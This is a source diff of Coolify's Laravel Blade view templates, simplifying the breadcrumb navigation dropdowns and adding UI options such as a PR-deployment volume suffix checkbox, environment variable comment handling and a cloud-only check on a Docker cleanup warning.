<a href="{{ route('project.database.configuration', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.database.environment-variables', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.database.servers', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
<a href="{{ route('project.database.persistent-storage', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
Storage</a>
<a href="{{ route('project.database.webhooks', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.database.resource-limits', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Limits</a>
<a href="{{ route('project.database.resource-operations', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.database.metrics', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
<a href="{{ route('project.database.tags', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.database.danger', $routeParams) }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@endif
</div>
</div>
</div>
</div>
<li class="inline-flex items-center mr-2">
<a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
href="{{ $isApplication
? route('project.application.configuration', $routeParams)
: ($isService
? route('project.service.configuration', $routeParams)
: route('project.database.configuration', $routeParams)) }}"
title="{{ data_get($resource, 'name') }}{{ $serverName ? ' ('.$serverName.')' : '' }}">
{{ data_get($resource, 'name') }}@if($serverName) <span class="text-xs text-neutral-400">({{ $serverName }})</span>@endif
</a>
</li>
<!-- Current Section Status -->

View file

@ -314,8 +314,8 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
</div>
@else
<div x-data="{
baseDir: '{{ $application->base_directory }}',
dockerfileLocation: '{{ $application->dockerfile_location }}',
baseDir: @entangle('baseDirectory'),
dockerfileLocation: @entangle('dockerfileLocation'),
normalizePath(path) {
if (!path || path.trim() === '') return '/';
path = path.trim();
@ -332,11 +332,11 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
this.dockerfileLocation = this.normalizePath(this.dockerfileLocation);
}
}" class="flex flex-col gap-2 xl:flex-row">
<x-forms.input placeholder="/" wire:model.defer="baseDirectory"
<x-forms.input placeholder="/"
label="Base Directory" helper="Directory to use as root. Useful for monorepos."
x-bind:disabled="!canUpdate" x-model="baseDir" @blur="normalizeBaseDir()" />
@if ($buildPack === 'dockerfile' && !$application->dockerfile)
<x-forms.input placeholder="/Dockerfile" wire:model.defer="dockerfileLocation"
<x-forms.input placeholder="/Dockerfile"
label="Dockerfile Location"
helper="It is calculated together with the Base Directory:<br><span class='dark:text-warning'>{{ Str::start($application->base_directory . $application->dockerfile_location, '/') }}</span>"
x-bind:disabled="!canUpdate" x-model="dockerfileLocation"

View file

@ -60,36 +60,13 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
</div>
</div>
</li>
<li class="inline-flex items-center" x-data="{ envOpen: false, activeEnv: null, envPositions: {}, activeRes: null, resPositions: {}, activeMenuEnv: null, menuPositions: {}, closeTimeout: null, envTimeout: null, resTimeout: null, menuTimeout: null, toggle() { this.envOpen = !this.envOpen; if (!this.envOpen) { this.activeEnv = null;
this.activeRes = null;
this.activeMenuEnv = null; } }, open() { clearTimeout(this.closeTimeout);
this.envOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.envOpen = false;
this.activeEnv = null;
this.activeRes = null;
this.activeMenuEnv = null; }, 100) }, openEnv(id) { clearTimeout(this.closeTimeout);
clearTimeout(this.envTimeout);
this.activeEnv = id }, closeEnv() { this.envTimeout = setTimeout(() => { this.activeEnv = null;
this.activeRes = null;
this.activeMenuEnv = null; }, 100) }, openRes(id) { clearTimeout(this.envTimeout);
clearTimeout(this.resTimeout);
this.activeRes = id }, closeRes() { this.resTimeout = setTimeout(() => { this.activeRes = null;
this.activeMenuEnv = null; }, 100) }, openMenu(id) { clearTimeout(this.resTimeout);
clearTimeout(this.menuTimeout);
this.activeMenuEnv = id }, closeMenu() { this.menuTimeout = setTimeout(() => { this.activeMenuEnv = null; }, 100) } }">
<li class="inline-flex items-center" x-data="{ envOpen: false, activeEnv: null, envPositions: {}, closeTimeout: null, envTimeout: null, toggle() { this.envOpen = !this.envOpen; if (!this.envOpen) { this.activeEnv = null; } }, open() { clearTimeout(this.closeTimeout); this.envOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.envOpen = false; this.activeEnv = null; }, 100) }, openEnv(id) { clearTimeout(this.closeTimeout); clearTimeout(this.envTimeout); this.activeEnv = id }, closeEnv() { this.envTimeout = setTimeout(() => { this.activeEnv = null; }, 100) } }">
<div class="flex items-center relative" @mouseenter="open()" @mouseleave="close()">
<a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
href="{{ route('project.resource.index', ['project_uuid' => data_get($parameters, 'project_uuid'), 'environment_uuid' => $environment->uuid]) }}">
{{ $environment->name }}
</a>
<button type="button" @click.stop="toggle()" class="px-1 text-warning">
<svg class="w-3 h-3 transition-transform" :class="{ 'rotate-90': envOpen }" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="4" d="M9 5l7 7-7 7">
</path>
</svg>
</button>
<!-- Environment Dropdown Container -->
<div x-show="envOpen" @click.outside="close()"
x-transition:enter="transition ease-out duration-200"
x-transition:enter-start="opacity-0 scale-95" x-transition:enter-end="opacity-100 scale-100"
@ -103,26 +80,25 @@ class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]"
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
@foreach ($allEnvironments as $env)
@php
$envDatabases = collect()
->merge($env->postgresqls ?? collect())
->merge($env->redis ?? collect())
->merge($env->mongodbs ?? collect())
->merge($env->mysqls ?? collect())
->merge($env->mariadbs ?? collect())
->merge($env->keydbs ?? collect())
->merge($env->dragonflies ?? collect())
->merge($env->clickhouses ?? collect());
$envResources = collect()
->merge(
$env->applications->map(
fn($app) => ['type' => 'application', 'resource' => $app],
),
)
->merge(
$env
->databases()
->map(fn($db) => ['type' => 'database', 'resource' => $db]),
)
->merge(
$env->services->map(
fn($svc) => ['type' => 'service', 'resource' => $svc],
),
);
->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app]))
->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]))
->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]))
->sortBy(fn($item) => strtolower($item['resource']->name));
@endphp
<div @mouseenter="openEnv('{{ $env->uuid }}'); envPositions['{{ $env->uuid }}'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeEnv()">
<a href="{{ route('project.resource.index', ['project_uuid' => data_get($parameters, 'project_uuid'), 'environment_uuid' => $env->uuid]) }}"
{{ wireNavigate() }}
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $env->uuid === $environment->uuid ? 'dark:text-warning font-semibold' : '' }}"
title="{{ $env->name }}">
<span class="truncate">{{ $env->name }}</span>
@ -153,7 +129,6 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover
<!-- Resources Sub-dropdown (2nd level) -->
@foreach ($allEnvironments as $env)
@php
// Use pre-loaded relations instead of databases() method to avoid N+1 queries
$envDatabases = collect()
->merge($env->postgresqls ?? collect())
->merge($env->redis ?? collect())
@ -164,28 +139,19 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover
->merge($env->dragonflies ?? collect())
->merge($env->clickhouses ?? collect());
$envResources = collect()
->merge(
$env->applications->map(
fn($app) => ['type' => 'application', 'resource' => $app],
),
)
->merge(
$envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]),
)
->merge(
$env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]),
);
->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app]))
->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]))
->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]));
@endphp
@if ($envResources->count() > 0)
<div x-show="activeEnv === '{{ $env->uuid }}'" x-cloak
x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
@mouseenter="openEnv('{{ $env->uuid }}')" @mouseleave="closeEnv()"
:style="'position: absolute; left: 100%; top: ' + (envPositions[
'{{ $env->uuid }}'] || 0) + 'px; z-index: 30;'"
:style="'position: absolute; left: 100%; top: ' + (envPositions['{{ $env->uuid }}'] || 0) + 'px; z-index: 30;'"
class="flex flex-col sm:flex-row items-start pl-1">
<div
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
class="relative w-56 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
@foreach ($envResources as $envResource)
@php
$resType = $envResource['type'];
@ -207,241 +173,14 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor
'database_uuid' => $res->uuid,
]),
};
// Use loaded relation to check additional_servers (avoids N+1 query)
$resHasMultipleServers =
$resType === 'application' &&
method_exists($res, 'additional_servers') &&
($res->relationLoaded('additional_servers') ? $res->additional_servers->count() > 0 : false);
$resServerName = $resHasMultipleServers
? null
: data_get($res, 'destination.server.name');
@endphp
<div @mouseenter="openRes('{{ $env->uuid }}-{{ $res->uuid }}'); resPositions['{{ $env->uuid }}-{{ $res->uuid }}'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeRes()">
<a href="{{ $resRoute }}"
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200"
title="{{ $res->name }}{{ $resServerName ? ' (' . $resServerName . ')' : '' }}">
<span class="truncate">{{ $res->name }}@if ($resServerName)
<span
class="text-xs text-neutral-400">({{ $resServerName }})</span>
@endif
</span>
<svg class="w-3 h-3 shrink-0" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round"
stroke-width="4" d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ $resRoute }}" {{ wireNavigate() }}
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200"
title="{{ $res->name }}">
{{ $res->name }}
</a>
@endforeach
</div>
<!-- Main Menu Sub-dropdown (3rd level) -->
@foreach ($envResources as $envResource)
@php
$resType = $envResource['type'];
$res = $envResource['resource'];
$resParams = [
'project_uuid' => $project->uuid,
'environment_uuid' => $env->uuid,
];
if ($resType === 'application') {
$resParams['application_uuid'] = $res->uuid;
} elseif ($resType === 'service') {
$resParams['service_uuid'] = $res->uuid;
} else {
$resParams['database_uuid'] = $res->uuid;
}
$resKey = $env->uuid . '-' . $res->uuid;
@endphp
<div x-show="activeRes === '{{ $resKey }}'" x-cloak
x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0"
x-transition:enter-end="opacity-100"
@mouseenter="openRes('{{ $resKey }}')" @mouseleave="closeRes()"
:style="'position: absolute; left: 100%; top: ' + (resPositions[
'{{ $resKey }}'] || 0) + 'px; z-index: 40;'"
class="flex flex-col sm:flex-row items-start pl-1">
<!-- Main Menu List -->
<div
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200">
@if ($resType === 'application')
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeMenu()">
<a href="{{ route('project.application.configuration', $resParams) }}"
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-3 h-3 shrink-0" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round"
stroke-linejoin="round" stroke-width="4"
d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.application.deployment.index', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Deployments</a>
<a href="{{ route('project.application.logs', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
@can('canAccessTerminal')
<a href="{{ route('project.application.command', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
@endcan
@elseif ($resType === 'service')
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeMenu()">
<a href="{{ route('project.service.configuration', $resParams) }}"
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-3 h-3 shrink-0" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round"
stroke-linejoin="round" stroke-width="4"
d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.service.logs', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
@can('canAccessTerminal')
<a href="{{ route('project.service.command', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
@endcan
@else
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
@mouseleave="closeMenu()">
<a href="{{ route('project.database.configuration', $resParams) }}"
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
<span>Configuration</span>
<svg class="w-3 h-3 shrink-0" fill="none"
stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round"
stroke-linejoin="round" stroke-width="4"
d="M9 5l7 7-7 7"></path>
</svg>
</a>
</div>
<a href="{{ route('project.database.logs', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
@can('canAccessTerminal')
<a href="{{ route('project.database.command', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
@endcan
@if (
$res->getMorphClass() === 'App\Models\StandalonePostgresql' ||
$res->getMorphClass() === 'App\Models\StandaloneMongodb' ||
$res->getMorphClass() === 'App\Models\StandaloneMysql' ||
$res->getMorphClass() === 'App\Models\StandaloneMariadb')
<a href="{{ route('project.database.backup.index', $resParams) }}"
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Backups</a>
@endif
@endif
</div>
<!-- Configuration Sub-menu (4th level) -->
<div x-show="activeMenuEnv === '{{ $resKey }}-config'" x-cloak
x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0"
x-transition:enter-end="opacity-100"
@mouseenter="openMenu('{{ $resKey }}-config')"
@mouseleave="closeMenu()"
:style="'position: absolute; left: 100%; top: ' + (menuPositions[
'{{ $resKey }}-config'] || 0) + 'px; z-index: 50;'"
class="pl-1">
<div
class="w-52 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
@if ($resType === 'application')
<a href="{{ route('project.application.configuration', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.application.environment-variables', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.application.persistent-storage', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
Storage</a>
<a href="{{ route('project.application.source', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Source</a>
<a href="{{ route('project.application.servers', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
<a href="{{ route('project.application.scheduled-tasks.show', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
Tasks</a>
<a href="{{ route('project.application.webhooks', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.application.preview-deployments', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Preview
Deployments</a>
<a href="{{ route('project.application.healthcheck', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Healthcheck</a>
<a href="{{ route('project.application.rollback', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Rollback</a>
<a href="{{ route('project.application.resource-limits', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Limits</a>
<a href="{{ route('project.application.resource-operations', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.application.metrics', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
<a href="{{ route('project.application.tags', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.application.advanced', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Advanced</a>
<a href="{{ route('project.application.danger', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@elseif ($resType === 'service')
<a href="{{ route('project.service.configuration', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.service.environment-variables', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.service.storages', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Storages</a>
<a href="{{ route('project.service.scheduled-tasks.show', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
Tasks</a>
<a href="{{ route('project.service.webhooks', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.service.resource-operations', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.service.tags', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.service.danger', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@else
<a href="{{ route('project.database.configuration', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
<a href="{{ route('project.database.environment-variables', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
Variables</a>
<a href="{{ route('project.database.servers', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
<a href="{{ route('project.database.persistent-storage', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
Storage</a>
<a href="{{ route('project.database.webhooks', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
<a href="{{ route('project.database.resource-limits', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Limits</a>
<a href="{{ route('project.database.resource-operations', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
Operations</a>
<a href="{{ route('project.database.metrics', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
<a href="{{ route('project.database.tags', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
<a href="{{ route('project.database.danger', $resParams) }}"
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
Zone</a>
@endif
</div>
</div>
</div>
@endforeach
</div>
@endif
@endforeach
@ -656,16 +395,16 @@ function sortFn(a, b) {
function searchComponent() {
return {
search: '',
applications: @js($applications),
postgresqls: @js($postgresqls),
redis: @js($redis),
mongodbs: @js($mongodbs),
mysqls: @js($mysqls),
mariadbs: @js($mariadbs),
keydbs: @js($keydbs),
dragonflies: @js($dragonflies),
clickhouses: @js($clickhouses),
services: @js($services),
applications: @js($applicationsJs),
postgresqls: @js($postgresqlsJs),
redis: @js($redisJs),
mongodbs: @js($mongodbsJs),
mysqls: @js($mysqlsJs),
mariadbs: @js($mariadbsJs),
keydbs: @js($keydbsJs),
dragonflies: @js($dragonfliesJs),
clickhouses: @js($clickhousesJs),
services: @js($servicesJs),
filterAndSort(items) {
if (this.search === '') {
return Object.values(items).sort(sortFn);

View file

@ -15,6 +15,15 @@
<x-forms.input label="Destination Path" :value="$fileStorage->mount_path" readonly />
</div>
</div>
@if ($resource instanceof \App\Models\Application)
@can('update', $resource)
<div class="w-96">
<x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
id="isPreviewSuffixEnabled"
helper="When enabled, a -pr-N suffix is added to this volume's path for preview deployments (e.g. ./scripts becomes ./scripts-pr-1). Disable this for volumes that contain shared config or scripts from your repository."></x-forms.checkbox>
</div>
@endcan
@endif
<form wire:submit='submit' class="flex flex-col gap-2">
@if (!$isReadOnly)
@can('update', $resource)

View file

@ -26,6 +26,7 @@
<div class="flex flex-col w-full gap-2 lg:flex-row lg:items-end">
<div class="flex-1">
<x-forms.input id="comment" label="Comment"
placeholder="{{ $isMagicVariable ? 'This env cannot be edited manually, it is handled by Coolify.' : '' }}"
helper="Add a note to document what this environment variable is used for." maxlength="256" />
</div>
<x-forms.button type="submit">Update</x-forms.button>
@ -34,12 +35,6 @@
<div class="flex flex-wrap w-full items-center gap-4">
@if (!$is_redis_credential)
@if ($type === 'service')
<x-forms.checkbox instantSave id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
<x-forms.checkbox instantSave id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
@if (!$isMagicVariable)
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
<x-forms.checkbox instantSave id="is_literal"
@ -86,12 +81,6 @@
<div class="flex flex-wrap w-full items-center gap-4">
@if (!$is_redis_credential)
@if ($type === 'service')
<x-forms.checkbox disabled id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
<x-forms.checkbox disabled id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
@if (!$isMagicVariable)
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
<x-forms.checkbox disabled id="is_literal"
@ -145,10 +134,9 @@
<x-forms.input disabled type="password" id="real_value" />
@endif
</div>
@if (!$isMagicVariable)
<x-forms.input disabled id="comment" label="Comment"
helper="Add a note to document what this environment variable is used for." maxlength="256" />
@endif
<x-forms.input instantSave id="comment" label="Comment"
placeholder="{{ $isMagicVariable ? 'This env cannot be edited manually, it is handled by Coolify.' : '' }}"
helper="Add a note to document what this environment variable is used for." maxlength="256" />
</div>
@else
<div class="flex flex-col w-full gap-2">
@ -178,10 +166,9 @@
<x-forms.input disabled type="password" id="real_value" />
@endif
</div>
@if (!$isMagicVariable)
<x-forms.input disabled id="comment" label="Comment"
helper="Add a note to document what this environment variable is used for." maxlength="256" />
@endif
<x-forms.input disabled id="comment" label="Comment"
placeholder="{{ $isMagicVariable ? 'This env cannot be edited manually, it is handled by Coolify.' : '' }}"
helper="Add a note to document what this environment variable is used for." maxlength="256" />
</div>
@endcan
@can('update', $this->env)
@ -189,12 +176,6 @@
<div class="flex flex-wrap w-full items-center gap-4">
@if (!$is_redis_credential)
@if ($type === 'service')
<x-forms.checkbox instantSave id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
<x-forms.checkbox instantSave id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
@if (!$isMagicVariable)
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
<x-forms.checkbox instantSave id="is_literal"
@ -258,6 +239,10 @@
step2ButtonText="Permanently Delete" />
@endif
</div>
@elseif ($type === 'service')
<div class="flex w-full justify-end gap-2">
<x-forms.button wire:click='lock'>Lock</x-forms.button>
</div>
@endif
</div>
@else
@ -265,12 +250,6 @@
<div class="flex flex-wrap w-full items-center gap-4">
@if (!$is_redis_credential)
@if ($type === 'service')
<x-forms.checkbox disabled id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
<x-forms.checkbox disabled id="is_runtime"
helper="Make this variable available in the running container at runtime."
label="Available at Runtime" />
@if (!$isMagicVariable)
<x-forms.checkbox disabled id="is_multiline" label="Is Multiline?" />
<x-forms.checkbox disabled id="is_literal"

View file

@ -38,6 +38,15 @@
<x-forms.input id="mountPath" required readonly />
</div>
@endif
@if (!$isService)
@can('update', $resource)
<div class="w-96">
<x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
id="isPreviewSuffixEnabled"
helper="When enabled, a -pr-N suffix is added to this volume's name for preview deployments (e.g. myvolume becomes myvolume-pr-1). Disable this for volumes that should be shared between the main and preview deployments."></x-forms.checkbox>
</div>
@endcan
@endif
@else
@can('update', $resource)
@if ($isFirst)
@ -54,6 +63,13 @@
<x-forms.input id="mountPath" required />
</div>
@endif
@if (!$isService)
<div class="w-96">
<x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
id="isPreviewSuffixEnabled"
helper="When enabled, a -pr-N suffix is added to this volume's name for preview deployments (e.g. myvolume becomes myvolume-pr-1). Disable this for volumes that should be shared between the main and preview deployments."></x-forms.checkbox>
</div>
@endif
<div class="flex gap-2">
<x-forms.button type="submit">
Update

View file

@ -27,7 +27,7 @@
<div class="mt-1 mb-6">Configure Docker cleanup settings for your server.</div>
</div>
@if ($this->isCleanupStale)
@if (!isCloud() && $this->isCleanupStale)
<div class="mb-4">
<x-callout type="warning" title="Docker Cleanup May Be Stalled">
<p>The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago,

View file

@ -1,36 +1,5 @@
<div>
<form class="flex flex-col gap-2 pb-6" wire:submit='submit'>
<div class="flex items-start gap-2">
<div class="">
<h1>Storage Details</h1>
<div class="subtitle">{{ $storage->name }}</div>
<div class="flex items-center gap-2 pb-4">
<div>Current Status:</div>
@if ($isUsable)
<span
class="px-2 py-1 text-xs font-semibold text-green-800 bg-green-100 rounded dark:text-green-100 dark:bg-green-800">
Usable
</span>
@else
<span
class="px-2 py-1 text-xs font-semibold text-red-800 bg-red-100 rounded dark:text-red-100 dark:bg-red-800">
Not Usable
</span>
@endif
</div>
</div>
<x-forms.button canGate="update" :canResource="$storage" type="submit">Save</x-forms.button>
@can('delete', $storage)
<x-modal-confirmation title="Confirm Storage Deletion?" isErrorButton buttonTitle="Delete"
submitAction="delete({{ $storage->id }})" :actions="[
'The selected storage location will be permanently deleted from Coolify.',
'If the storage location is in use by any backup jobs those backup jobs will only store the backup locally on the server.',
]" confirmationText="{{ $storage->name }}"
confirmationLabel="Please confirm the execution of the actions by entering the Storage Name below"
